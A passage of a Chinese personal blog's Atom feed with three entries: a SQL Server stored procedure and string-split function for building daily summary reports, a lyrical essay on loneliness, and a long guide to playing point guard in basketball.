),getdate()-1,120)&nbsp;&#39;&nbsp;&nbsp;&nbsp;--需要按实际情况进行修改　为前一天<br/>--if&nbsp;@d&nbsp;=&nbsp;2<br/><br/>if&nbsp;@par&nbsp;=&nbsp;&#39;分类字段&#39;&nbsp;o&#114;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;@par&nbsp;=&#39;部门&#39;&nbsp;o&#114;&nbsp;@par&nbsp;=&#39;部组&#39;<br/>begin<br/>set&nbsp;@str_all&nbsp;=&nbsp;@str_all&nbsp;+&nbsp;@pv&nbsp;+&nbsp;&#39;,&#39;<br/>set&nbsp;@str_group_lin&nbsp;&nbsp;=&nbsp;@str_group_lin&nbsp;&nbsp;+&nbsp;@pv&nbsp;+&nbsp;&#39;,&#39;<br/>end<br/>--print&nbsp;@str_all<br/><br/>--if&nbsp;@d&nbsp;=&nbsp;1<br/>if&nbsp;@par&nbsp;=&nbsp;&#39;汇总字段&#39;<br/>set&nbsp;@str_all&nbsp;=&nbsp;@str_all&nbsp;+&nbsp;&#39;sum(&#39;+&nbsp;@pv&nbsp;+&nbsp;&#39;)&nbsp;as&nbsp;&#39;+&nbsp;@pv&nbsp;+&#39;,&#39;<br/>--print&nbsp;@str_all<br/><br/>if&nbsp;@par&nbsp;=&nbsp;&#39;排序字段&#39;<br/>begin<br/>set&nbsp;@str_orders&nbsp;=&nbsp;@str_orders&nbsp;+&nbsp;@pv&nbsp;+&nbsp;&#39;,&#39;<br/>--print&nbsp;@str_orders<br/>end<br/><br/>if&nbsp;@par&nbsp;=&nbsp;&#39;部门&#39;<br/>&nbsp;begin<br/>&nbsp;&nbsp;set&nbsp;@str_ekorg&nbsp;=&nbsp;@pv<br/>&nbsp;end<br/><br/><br/><br/>fetch&nbsp;next&nbsp;from&nbsp;zconfig_cur&nbsp;<br/>into&nbsp;@ps,@pv,@d,@par<br/>end<br/>--print&nbsp;@str_all<br/><br/>CLOSE&nbsp;zconfig_cur<br/>DEALLOCATE&nbsp;zconfig_cur<br/><br/>if&nbsp;len(@str_all)&nbsp;&gt;&nbsp;0<br/>begin<br/>&nbsp;<br/>set&nbsp;@str_all&nbsp;=&nbsp;left(@str_all,(len(@str_all)-1))<br/>set&nbsp;@str_group_lin=&nbsp;left(@str_group_lin,(len(@str_group_lin)-1))<br/>--set&nbsp;@str_orders=&nbsp;left(@str_orders,(len(@str_orders)-1))<br/>--set&nbsp;@str_all&nbsp;=&nbsp;&#39;sel&#101;ct&nbsp;&#39;&nbsp;+&nbsp;@str_all&nbsp;+&nbsp;&#39;&nbsp;from&nbsp;zl0119&nbsp;wh&#101;re&nbsp;convert(varchar(10),sql_date,120)&nbsp;=&nbsp;&#39;+&nbsp;@str_date&nbsp;+&#39;&nbsp;&nbsp;group&nbsp;by&nbsp;&#39;&nbsp;&nbsp;+&nbsp;@str_group_lin&nbsp;&nbsp;+&nbsp;&#39;&nbsp;o&#114;der&nbsp;by&nbsp;&#39;&nbsp;+&nbsp;@str_group_lin&nbsp;&nbsp;--order&nbsp;by&nbsp;字段需要出现在GROUP&nbsp;BY&nbsp;字段中<br/><br/>set&nbsp;@str_all&nbsp;=&nbsp;&#39;sel&#101;ct&nbsp;&#39;&nbsp;+&nbsp;@str_all&nbsp;+&nbsp;&#39;&nbsp;from&nbsp;&nbsp;&#39;&nbsp;+&nbsp;@reportName&nbsp;+&nbsp;&#39;&nbsp;wh&#101;re&nbsp;&#39;+&nbsp;@str_ekorg&nbsp;+&#39;&nbsp;IN&nbsp;(&nbsp;&#39;&nbsp;+&nbsp;@ekorg&nbsp;+&nbsp;&#39;)&nbsp;and&nbsp;&nbsp;convert(varchar(10),sql_date,120)&nbsp;=&nbsp;&#39;+&nbsp;@str_date&nbsp;+&#39;&nbsp;&nbsp;group&nbsp;by&nbsp;&#39;&nbsp;&nbsp;+&nbsp;@str_group_lin&nbsp;+&nbsp;&#39;&nbsp;o&#114;der&nbsp;by&nbsp;&#39;&nbsp;+&nbsp;@str_group_lin<br/>print&nbsp;@str_all<br/><br/>exec&nbsp;(@str_all)<br/>end<br/>go<br/><br/><br/>---执行存储过程&nbsp;输入报表名，部门名称<br/>exec&nbsp;zpro_sql_sum&nbsp;&nbsp;&#39;ZL0119&#39;,&nbsp;&#39;1010&#39;&nbsp;<br/>exec&nbsp;zpro_sql_sum&nbsp;&nbsp;&#39;ZL0088&#39;,&nbsp;&#39;1000,1010&#39;<br/><br/>exec&nbsp;zpro_sql_sum&nbsp;&nbsp;&#39;ZL0080&#39;,&nbsp;&#39;1010&#39;&nbsp;<br/>exec&nbsp;zpro_sql_sum&nbsp;&nbsp;&#39;ZL0102&#39;,&nbsp;&#39;1000,1010&#39;<br/><br/>--sel&#101;ct&nbsp;sum(STOCK_Q&nbsp;)&nbsp;as&nbsp;STOCK_Q&nbsp;,MEINS,sum(stock_m)&nbsp;as&nbsp;stock_m,WAERS&nbsp;from&nbsp;zl0119&nbsp;wh&#101;re&nbsp;convert(varchar(10),sql_date,120)&nbsp;=&nbsp;convert(varchar(10),getdate()-2,120)&nbsp;&nbsp;&nbsp;group&nbsp;by&nbsp;MEINS,WAERS<br/><br/>--sel&#101;ct&nbsp;sum(STOCK_Q&nbsp;)&nbsp;as&nbsp;STOCK_Q&nbsp;,MEINS,sum(stock_m)&nbsp;as&nbsp;stock_m,WAERS,ekotx,eknam&nbsp;from&nbsp;&nbsp;ZL0119&nbsp;wh&#101;re&nbsp;ekorg&nbsp;=&nbsp;1010and&nbsp;&nbsp;convert(varchar(10),sql_date,120)&nbsp;=&nbsp;convert(varchar(10),getdate()-2,120)&nbsp;&nbsp;&nbsp;group&nbsp;by&nbsp;MEINS,WAERS,ekotx,eknam&nbsp;o&#114;der&nbsp;by&nbsp;MEINS,WAERS,ekotx,eknam<br/>sel&#101;ct&nbsp;*<br/>&nbsp;from&nbsp;zl0088<br/><br/>up&#100;ate&nbsp;zl0088&nbsp;set&nbsp;waerc&nbsp;=&nbsp;&#39;USD&#39;&nbsp;wh&#101;re&nbsp;vgbel&nbsp;&gt;=100000661<br/>up&#100;ate&nbsp;zl0088&nbsp;set&nbsp;sql_date&nbsp;=&nbsp;&#39;2008-11-25&#39;,vkbur&nbsp;=&nbsp;&#39;1000&#39;&nbsp;wh&#101;re&nbsp;vgbel&nbsp;&nbsp;&lt;100000661<br/><br/>sel&#101;ct&nbsp;*&nbsp;from&nbsp;zl0119&nbsp;wh&#101;re&nbsp;sql_date&nbsp;=&nbsp;<br/>--更新测试数据<br/>up&#100;ate&nbsp;zl0119&nbsp;set&nbsp;sql_date&nbsp;=&nbsp;getdate()&nbsp;-1&nbsp;<br/>go<br/>up&#100;ate&nbsp;zl0088&nbsp;set&nbsp;&nbsp;sql_date&nbsp;=&nbsp;getdate()&nbsp;-1&nbsp;<br/>go<br/>-----------------------<br/><br/>--在MSSQL中未发现split拆分函数<br/>--MSSQL数据库&nbsp;split函数<br/>--@str&nbsp;字符串&nbsp;@splitstr&nbsp;分隔符号&nbsp;如&#34;,&#34;<br/>Cr&#101;ate&nbsp;function&nbsp;[dbo].[z_split](@str&nbsp;varchar(8000),@splitstr&nbsp;varchar(10))<br/>&nbsp;&nbsp;&nbsp;&nbsp;returns&nbsp;@temp&nbsp;table([splitcolumn]&nbsp;varchar(20))<br/>as&nbsp;<br/>begin<br/>&nbsp;&nbsp;&nbsp;&nbsp;declare&nbsp;@i&nbsp;int<br/>&nbsp;&nbsp;&nbsp;&nbsp;set&nbsp;@str=rtrim(ltrim(@str))<br/>&nbsp;&nbsp;&nbsp;&nbsp;set&nbsp;@i=charindex(@splitstr,@str)<br/>&nbsp;&nbsp;&nbsp;&nbsp;while&nbsp;@i&gt;=1<br/>&nbsp;&nbsp;&nbsp;&nbsp;begin<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ins&#101;rt&nbsp;@temp&nbsp;values(left(@str,@i-1))<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;set&nbsp;@str=substring(@str,@i+1,len(@str)-@i)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;set&nbsp;@i=charindex(@splitstr,@str)<br/>&nbsp;&nbsp;&nbsp;&nbsp;end<br/>&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;@str&lt;&gt;&#39;&#39;<br/>&nbsp;&nbsp;&nbsp;&nbsp;ins&#101;rt&nbsp;@temp&nbsp;values(@str)<br/>&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;<br/>end<br/><br/>--调用：<br/>sel&#101;ct&nbsp;splitcolumn&nbsp;&nbsp;from&nbsp;[dbo].[z_split](&#39;11,33,455&#39;,&#39;,&#39;)&nbsp;<br/>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.dbsun.com/default.asp?id=160" /> 
	  <id>http://www.dbsun.com/default.asp?id=160</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[寂寞的感觉 ]]></title>
	  <author>
		 <name>zilong</name>
		 <uri>http://www.dbsun.com/</uri>
		 <email>dbmaster@163.com</email>
	  </author>
	  <category term="" scheme="http://www.dbsun.com/default.asp?cateID=9" label="随笔杂谈" /> 
	  <updated>2008-11-14T14:39:22+08:00</updated>
	  <published>2008-11-14T14:39:22+08:00</published>
		  <summary type="html"><![CDATA[你一定也有过这种感觉的。&nbsp;&nbsp;<br/>　　当你心事重重，渴望找个人谈一谈的时候，那个人来是来了，但你们却并没有谈什么。当然，谈是谈了，可是他谈他的，你——开始你也试着谈谈你的，可是后来，你放弃了。&nbsp;&nbsp;<br/>　　于是，你们的谈话成了两条七扭八歪的曲线，就那么凄凉地、乏力地延伸下去。&nbsp;&nbsp;<br/>　　你敷衍着，笑着，假装做很投机的样子。但是，你心里渴望他离去，让你静下来，静下来啃啮那属于你自己的寂寞。&nbsp;&nbsp;<br/>　　“倒不如自己闷着的好！”这是你的结论。&nbsp;&nbsp;<br/>　　“希望别人来分担你的心事是多么愚蠢！别人不会了解你的，人人都只关心他们自己。”&nbsp;&nbsp;<br/>　　于是，你领悟到，有些事情是不能告诉别人的，有些事情是不必告诉另人的，有些事情是根本没有办法告诉别人的，而且有些事情是：即使告诉了别人，你也马上会后悔的。&nbsp;&nbsp;<br/>　　所以，假使你够聪明，那么，最后的办法就是静下来，啃啮自己的寂寞——或者反过来说，让寂寞来吞噬你。&nbsp;&nbsp;<br/>　　于是，你慢慢可以感觉到，午后的日影怎样拖着黯淡的步子西斜，屋角的浮尘怎样在溟茫里毫无目的游动，檐前的蜘蛛怎样结那囚禁自己的网，暮色又怎样默默地爬上你的书桌，而那寂寞的感觉又是怎样越来越沉重地在你心上压下，压下……直到你呼吸困难，心跳迟滞，像一辆超重的车，在上坡时气力不继地渐渐地慢，渐渐地停下……&nbsp;&nbsp;<br/>　　于是，你觉得自己涨得无限的大，大得填满了整个宇宙空间，而这无限大的你的里面，所涨满的，只是寂寞，寂寞，无边的寂寞！&nbsp;&nbsp;<br/>　　没有一声呼叫，没有一满眼泪，没有一丝情感，没有一线希望，没有一点欲求；没有动，没有静，只有一种向下沉落的感觉，沉落……沉落……向着那无底的黝暗之中沉落。&nbsp;&nbsp;<br/>　　于是，夜色密密地涂满了宇宙，在上下前后左右都是墨一般的黝暗里，你不再知道自己是否仍在继续地沉落，你所知道的只是&nbsp;&nbsp;<br/>　　那沉重的、无边的、墨染的、死一般的寂寞！&nbsp;]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.dbsun.com/default.asp?id=159" /> 
	  <id>http://www.dbsun.com/default.asp?id=159</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[怎样打好组织后卫]]></title>
	  <author>
		 <name>zilong</name>
		 <uri>http://www.dbsun.com/</uri>
		 <email>dbmaster@163.com</email>
	  </author>
	  <category term="" scheme="http://www.dbsun.com/default.asp?cateID=9" label="随笔杂谈" /> 
	  <updated>2008-11-08T15:49:56+08:00</updated>
	  <published>2008-11-08T15:49:56+08:00</published>
		  <summary type="html"><![CDATA[&nbsp;&nbsp;组织后卫是全队的核心，所有进攻都先交到组织后卫手上，然后发起进攻。所以组织后卫有“场上教练”的美名，这也足见这一位置的重要性。想要打好这一位置要做到以下几点：<br/><br/>1&nbsp;自己平常要多练习运球，这一基本功常常被人忽视，应为它枯燥乏味而且成效不是很明显，我在打球时看见很多高手都运球不行。在练运球时千万不可当“独臂大侠”，要左右手一起练，最好两个手各拍一只球，然后走S型，或者可单独练左右手，左手一个转身右手再转一个，轮流来。我还有一妙招，我觉得挺好，用一只手拍球，拍的越低越好，然后用指尖控制球的走向，可分别练左右手。<br/><br/>2&nbsp;当打比赛运球时，千万不可低着头运，（前提是要将运球练好，不然球很有可能运在自己脚或膝盖上导致被人抢断）。不然队友跑到空位是你却看不见。当你传完球后一定不要站着不动，要迅速跑位，帮其他队友做无球掩护或去冲抢篮板。若队友没能投出去又被对方紧逼，你要当恰当的地方去接球重新组织新的一次进攻。总之球没有进，就不要停止穿插跑位。<br/><br/>3&nbsp;组织进攻时千万不能当哑巴球员，你是组织后卫，你要告诉对友该怎麽做，让他们怎么跑位，（例如：拉开拉开，溜底线溜底线，A去给B挡一下拆，C不要让他卡在你前面，等等）来打一个漂亮的战术。<br/><br/>4&nbsp;身为组织后卫，你是组织进攻的，必然要牺牲掉一些进球，要做到无私，千万不能过分粘球，看到队友有空位要在第一时间传过去。而且千万不能有斗胜心理，（例如对方在防守下连连得分，你千万不能失去理智，千万不要想着这球我一定要在他头上得分，这样会打乱全队的进攻）。<br/><br/>5&nbsp;在比赛时，注意力不能过分集中在一个人头上，比如已方D和对方的E在卡位要球，而此时已方的F通过跑位空了，你却只想着怎麽给D传球而忽略了F，这就是平常说的“视野要宽阔”，也叫“意识”。<br/><br/><br/>&nbsp;<br/><br/><strong>控球后卫（PG）&nbsp;</strong><br/><br/>控球后卫（Point&nbsp;Guard）是球场上拿球机会最多的人。他要把球从后场安全地带到前场，再把球传给其他队友，这才有让其他人得分的机会。如果说小前锋是一出戏的主角，那么控球后卫便是这出戏的导演。&nbsp;<br/><br/>怎样才算是一个合格的控球后卫。首先，他的运球能力是绝对少不了的，他必须要能够在只有一个人防守他的情况下，毫无问题地将球带过半场。然后，他还要有很好的传球能力，能够在大多数的时间里，将球传到球应该要到的地方：有时候是一个可以投篮的空档，有时候是一个更好的导球位置。简单地说，他要让球流动得顺畅，他要能将球传到最容易得分的地方。再更进一步地说，他还要组织本队的进攻，让队友的进攻更为流畅。&nbsp;<br/><br/>对于一个控球后卫还有一些其它要求。在得分方面，控球队员往往是队上最后一个得分者，也就是说除非其他队友都没有好机会出手，否则他是不轻易投篮的。或者以另一个角度说，他本身有颇强的得分能力，而以其得分能力破坏对方的防守，来替队友制造机会。总而言之，控球员有一个不变的原则：当场上有任何队友的机会比他好时，他一定将球交给机会更好的队友。所以，控球员的出手经常都是很好的投篮时机，自然我们对他的命中率要求也就比较高，一般而言应该要在五成以上，要比小前锋和得分后卫高。而在得分能力方面，外线和切入是他必备的两项利器。&nbsp;<br/><br/>传球的几种方法&nbsp;<br/><br/>采用何种方式传球取决于实际情况。方式虽然不同，但有几点是一致的：&nbsp;<br/><br/>所有的传球都是用手指完成，而不是用手掌。为控制球的速度、方向，手指应该尽可能地张开(但不能太僵硬)，手腕要有弹性。&nbsp;<br/><br/>篮球中有以下几种主要的传球方式：&nbsp;<br/><br/>胸前传球&nbsp;从胸前传球快速、有效,是最常用的传球方式。双手持球的预备站位：&nbsp;面向要传球的队友，抬头、屈膝，手指张开，将球持在胸前，两肘微向外，伸臂向外推球时，向前跨出一步，球出手时手指向上、向前推。&nbsp;<br/><br/>(双手)击地传球&nbsp;击地传球通常用来将球从防守队友张开的手臂下传出。双手击地传球的技术要领与上面讲到的从胸前传球一样，只是球传出时手指向下有力，使球碰地板反弹后，到达接球队友的腰部位置。&nbsp;<br/><br/>低手传球&nbsp;低手传球是一种近距离的传球，通常用于将球传递给离自己较近的队友：&nbsp;用手指托住球的下半部，伸臂出球时，向传球方向迈一步，做随球动作时固定手腕，也将球传向接球队友的腰部位置。&nbsp;<br/><br/>(双手)头上传球&nbsp;我们经常看到在篮球比赛中抢到篮板球的队员用这种方式将球传给位于远处前场处于有利位置的队友。双手头上传球可以越过防守队员，并且可以传得很远。&nbsp;双手从球的两侧面持球(手指尖朝上)，置于头顶，肘部微屈，向传球方向跨一步的同时手腕向后转，球移至脑后，将球向前抛出，手腕向下转发力。(同样要做好随球动作)&nbsp;<br/><br/>如何才能抢断成功&nbsp;<br/><br/>抢断球是篮球的基本技术之一，抢断可以夺走对手的进攻机会，可以带动一次快速反击，可以使自己的球队打出一轮高潮。如果你抢断成功,对手会极度懊丧。&nbsp;如何才能提高抢断的成功绿率,下述方法会对你有所帮助。&nbsp;<br/><br/>第一，要对他进行紧逼。每个球员都有自己习惯的运球手，应紧逼他最习惯的一侧，迫使他背对着你，同时也背对着篮筐。&nbsp;<br/><br/>第二，一旦他转身背对你，你就应紧紧贴住他，并稍稍下蹲，这样你可以向自己的任何一侧迅速移动。同时，还应张开双臂，手掌摊开并要放松，这样一旦有机会便可以出手断球。&nbsp;<br/><br/>第三，只要对手伺机传球，你便可以下手。虽然自始至终他对你都保持高度警惕，防止球被你捅掉，不过，因为要寻找自己的传球伙伴，他总会有一瞬间无法对你集中注意力，他企图传球的一刹那正是抢断的最佳时机。你可以突然伸手将他的球拍落，然后把球捞回来。&nbsp;<br/><br/>需要注意的是，这种动作非常危险，很容易被裁判吹成犯规。因此，你最好先将球捅掉，即使你无法得到皮球，没准你的同伴会候个正着。抢断球也需要下功夫苦练，你可以和同伴进行一对一的练习，一旦苦功下够，必定水到渠成。&nbsp;<br/><br/>如何控球&nbsp;<br/><br/>控球面对防守时最怕被拍，背对防守时最怕被掏。&nbsp;面对防守时，对方有两种抢断法:&nbsp;<br/><br/>1.&nbsp;在你右手控球时上一大步，其身体贴在你身体右侧,胳臂长伸，插入你身体与球之间,将球拍掉。&nbsp;<br/><br/>2.&nbsp;在你右手换左手过人时上一小步,胳膊正好放在你球线上,等你把球送入他手中。&nbsp;<br/><br/>对付第一种断法,只需在对手冲上来时猛一右侧身,用左肩挡在对方前进路线上,对方要么知趣减速;要么头撞在你肩上,有苦说不出,知道你不是好惹的。&nbsp;<br/><br/>对付第二种断法,记住球控低一点就行了。&nbsp;背对防守时,对方往往又逼又掏,搞得你心里很虚,其实对付对方逼你掏你的最好办法就是主动去挤他,一旦挤住他,他就行动不便,自然断不了你的球了。这一着在打快攻一对一时特别有效,你不用冲得特别快,只要死死抵住对方,一边控球一边上篮。同时你一定还要发挥左手的作用,右手控球,左手一定要伸得长长的,最好挡在对方腰上，这样对方的动向你就一清二楚了，这一招特别适于转身过人。&nbsp;<br/><br/>如何运球&nbsp;<br/><br/>运球在篮球训练或比赛中相当重要，它允许球员：&nbsp;<br/><br/>在不能传球给队友时可以自己带球向前进攻；带球移动至更有利的位置以传球给队友；或等待队友到位接传球时控制住球；自己向篮框方向运球并完成投篮或上篮。&nbsp;然而不要过多的运球同样也很重要。如果你在比赛中过多的运球，会使其他四位队友只能站在那儿看你，从而失去了篮球运动所提倡的团队合作精神，而且运球比较慢(传球可以更快地把球传向篮框方向)。你应该学会怎样运球，更应该学会什么时候运球(什么时候该传球)。&nbsp;<br/><br/>应该用手指运球，而不是手掌。运球高度最好不要超过腰部&nbsp;(这样比较容易控制球)。运球时手腕要放松，用向下挤压动作拍球，而不是抽打动作。要训练两只手都能熟练地运球。开始先学习在原地运球，熟练后可以一边运球一边走动。不要过多考虑运球时你的移动速度，先掌握好运球技术。走动中的运球技术掌握好以后，再开始逐渐增加移动速度，直至全速。采取怎样的速度以你能舒服地运球为标准。&nbsp;<br/><br/>运球是应该抬头，时刻观察场上情况。如果运球时只顾低头看球，很容易被对手盗球，而且也看不到处于有利位置的队友，甚至之间处于容易投篮的位置也不知道。&nbsp;<br/><br/>控制性运球&nbsp;<br/><br/>运球时当你感到既难以传球，又不可能快速向前时，或者你在观察场上形势准备传球或投篮时，应该采用控制性运球。在膝盖到腰部的高度运球。双膝微屈，身体前倾，这样使你容易控制好球，也容易快速变速。不参与运球的那只手臂应该弯屈肘部并向外伸，保持平衡，也阻止对手靠近。&nbsp;<br/><br/>快速运球&nbsp;<br/><br/>在你要带球快速冲向前场时当然要快速运球。此时身体也要前倾，将球稍微拍向前方，运球高度稍高，在胸部与腰部之间。身体正对移动方向，眼睛观察全场。&nbsp;<br/><br/>变速运球&nbsp;<br/><br/>运球队员要突破对手防守可以采用变速运球(当然也可以采用突然变向或其他假动作)。变速运球要求除了改变运球速度，还要改变运球高度。用小的步幅接近对手，然后突然加速(步幅也加大)，并把运球高度降至膝部位置，快速突破向前。变速运球需要很多练习才能有效地使用。&nbsp;<br/>疯狂的练运球，除了吃饭时，走到哪都抱个球．一流的手感，犀利的脚步是必需的，这是前提．最主要的是积极的跑动，和无私的球风，加油！&nbsp;<br/><br/><br/><span style="font-size:9pt"><strong>如何打好组织后卫</strong></span><br/>&nbsp;<br/>&nbsp;<br/><br/>首先,我们先给组织后卫来下一个定义---什么叫组织后卫呢?答案是---组织后卫是一个球队的灵魂,在NBA的球队中,他们把组织后卫称做球场上的教练,单单这一句话已经充分说明组织后卫的作用和意义了.我们再深入的了解一下,我想《福克斯体育》的专栏作家查理－罗森就组织后卫进行的探讨应该是比较好的诠释了组织后卫--<br/><br/>进攻作为球场上的1号位，组织后卫们必须彻底领悟主教练的战术意图，知道该如何发动快攻，找到最佳的进攻选择等等，了解每名队友的特点等等……传球是一项非常深奥的学问，如何将球稳稳地交到内线的大个子手中，如何摆脱防守快速分球，这并不是一朝一夕就可以学会的。组织后卫要了解如何掌控节奏，对时间应该了如指掌，懂得在什么时候该请求暂停。当组织后卫将球带进有效的攻击区域时，他必须成为一名超级的控球手以及传球手，除了要给内线的大个子喂球之外，外线的射手也绝对不能忽视。作为一名超级组织后卫，究竟应该具有哪些进攻上的特质呢？最大程度上利用挡拆掩护,快速突破以扰乱对手的防线,能够在复杂的形势中处乱不惊，在必要时可以自己出手投篮打击对手.在急速奔驰中保持开阔的视野,在最适合的时间将球传给处于最佳位置的队友,尽一切可能地发动快攻,保持敏锐的观察力，找出球场上的空档,在压力之下要敢于出手,敢于在人群中传出让人意想不到的球,一定要控制好进攻的时间，让对手陷入犯规陷阱的困扰,指挥队友落位，将球场的空间拉大。<br/><br/>防守如何防守一名组织后卫？组织后卫可以算是球场上技术最好的球员，你很难对他们实行严密的防守。要想从组织后卫手中抢断是一项非常危险的工作，一次不成功的抢断也许就意味着形成本方4打5的局面，对手可以轻易地找到空档。最好的办法就是压缩组织后卫的空间，尽量让他们背对篮筐，在背对篮筐的情况下是很难传出好球的。同时还可以放缓他们的速度，给组织后卫们施加最大的压力，让他们在体力透支的情况下尽可能犯错。在特殊情况下可以对组织后卫进行双人包夹，在传球路线上埋伏人马等等……<br/><br/>以上是对组织后卫的概念的一种诠释.那么如何才能成为一名好的组织后卫呢?应该有以下几个方面.<br/><br/>第一:你应该具有良好的速度和耐力,以及出色的脚步移动力.因为具备良好的速度和耐力,才能更好的将你的队友组织好,才能更好的适应快节奏的比赛,不会因为体力方面的问题,影响到你打球时候的技术动作.那么为什么还要具备出色的脚步呢?因为拥有良好的脚步移动能力,可以很好的为自己的队友创造得分良机,如果你没有优秀的脚步移动力,那么你是很难通过自己的能力,合理的利用篮球比赛中的掩护配合,传切配合,突破分球等配合为队友制造无人盯防的机会.那么应该如何的训练这些呢?首先是速度问题,我个人认为应当将速度和脚步结合起来练习,这就包括:冲刺跑练习,变速跑练习,折返跑练习,侧身跑练习等等,除此之外,还有一些爆发力的练习,包括:蛙跳,单腿跳,蹲地走等等.而耐力方面则是依靠一些长跑的练习,以及跳跃的耐力练习.<br/><br/>第二:就是要具备出色的运球能力.具备优秀的手感,如果一名组织后卫的运球还不如一个中锋队员的运球,那我看他还是竟早离开球队吧,因为一名组织后卫,所要承担的责任是将球以安全迅速的方法运到前场,然后通过熟练的运球,为队友制造得分的机会,从而主导比赛的节奏.包括什么时候应该加速运球发动快攻,什么时候应该中速运球转为阵地进攻,什么时候低速运球延缓比赛时间,这一切都是通过组织后卫的运球来实现的,那么运球的方法都包括那些呢?主要包括:高低运球,变向运球,背后运球,跨下运球,运球转身和变速运球等等.那么如何才能练好运球呢?开始你要做的就是熟练运球的方法,熟练掌握左右手运球(最主要的是要在运球时候能够抬头看人,而不去注意运球的手),然后要做的就是对控制球的手感练习,怎么样才能更好更稳的控制球,并且能够掌握从低速运球到高速运球再到低速运球这一节奏变化.最后要掌握的就是在有防守和夹击面前能够运用自己的运球技术将其化解.总之要想练好运球,就是一个字&#34;练&#34;.<br/><br/>第三:就是要具备优秀的传球能力和对时机的把握.如果想成为一名好的组织后卫,没有好的传球能力和对时机的把握能力,那是称不上合格的,因为在比赛中,当队友出现了瞬间的得分时机时,如何才能将球送到队友的手中,就是组织后卫应当做到的,相信有很多想做组织后卫的朋友都喜欢杰森威廉姆斯吧.因为被他那出神入话的传球和那优美的动作所吸引,但是这一切的背后,就是对传球基本技术的刻苦训练,这其中包括:双手胸前传球技术,单手传球技术,头上传球技术,击地传球技术等等.还有就是对传球时机的把握能力,为什么小伟一直都在强调运球要抬头呢,就是这样你才能审视全场,并且才能够很好的发现队友能够得分的时机,然后运用传球技术将球传出,那么你就要问了,应该如何训练传球能力呢,如果你是自己一个人话,可以利用墙来做你的队友,然后反复训练你传球时候的动作技术,还有就是在比赛中,去体会传球的线路和球的落点,以及对上肢力量的训练(最简单实用的方法就是俯卧撑),这样你就能一点点的掌握较好的传球技术,慢慢的你就能传出像杰森威廉姆斯那样的传球了.千万不要做传出100个球,制造的时机等于零,那样你这个组织后卫就是不合格的.<br/><br/>第四:也是比较难形成的,就是对比赛的阅读能力,这里就包括你对进攻以及防守的洞察能力,对比赛的审视能力,说的简单一点,就是如何才能组织好进攻,如何才能很好的发现对方的防守漏洞.给队友制造机会,这一点推荐的练习方法就是多多去参加比赛,包括平时的类似街球的半场比赛.在比赛中去体会这一点,而且还要尽可能去多看一下有关篮球战术方面的书籍,这对你提高比赛的洞察力是很有帮助的.<br/><br/>第五:也是最后的一点,就是要具备良好的心态,因为如果一个球场的指挥者失去了坚定的信念,那这个球队还能赢球吗?所以要培养自己积极乐观向上的心态,以及对困难比赛的承受能力.这一点的练习方法就是在平时的生活中慢慢的磨练,这可不是一天两天的工夫啊<br/><br/><br/><br/>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.dbsun.com/default.asp?id=158" /> 
	  <id>http://www.dbsun.com/default.asp?id=158</id> 
  </entry>	
		
</feed>